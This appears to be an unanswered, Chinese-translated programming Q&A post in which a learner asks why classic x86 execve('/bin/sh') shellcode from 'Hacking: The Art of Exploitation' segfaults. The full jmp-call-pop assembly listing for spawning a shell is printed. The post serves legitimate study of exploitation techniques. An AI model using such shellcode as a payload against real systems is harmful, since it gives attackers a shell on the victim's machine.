使用立即数时在汇编代码中出现分段错误

时间:2018-11-01 04:26:32

标签: assembly x86

因此,我一直在学习一些基本的汇编代码,这些代码专门用于编写Shellcode,这一切都很好,但我正在阅读的所有书都过时了。到目前为止,汇编代码部分一直运行顺利,但是我遇到了一些打开新shell的代码问题。

BITS 32

  jmp short two     ; Jump down to the bottom for the call trick
one:
; int execve(const char *filename, char *const argv [], char *const 
envp[])
  pop ebx           ; ebx has the addr of the string
  xor eax, eax      ; put 0 into eax
  mov [ebx+7], al   ; null terminate the /bin/sh string
  mov [ebx+8], ebx  ; put addr from ebx where the AAAA is
  mov [ebx+12], eax ; put 32-bit null terminator where the BBBB is
  lea ecx, [ebx+8]  ; load the address of [ebx+8] into ecx for argv ptr
  lea edx, [ebx+12] ; edx = ebx + 12, which is the envp ptr
  mov al, 11        ; syscall #11
  int 0x80          ; do it

two:
  call one          ; Use a call to get string address
  db '/bin/sh'     ; the XAAAABBBB bytes aren't needed

在运行了几次测试程序后,我已经设法解决了我认为的问题。第一次使用程序中的立即数[ebx+7](因此,从理论上讲,另外两个mov命令)会导致分段错误。我只是不明白为什么。我正在尝试进行的系统调用(如果上下文中的注释不是很好)是execve,它使用文件名,指向参数数组的指针和envp变量。这段代码正在尝试做的事情是否可能了?如果没有,我如何获得相同的效果?

如果您想知道的话,这本书是《黑客:剥削的艺术,第二版》,它是2008年制作的,就像我说的那样,过时了。

0 个答案:

没有答案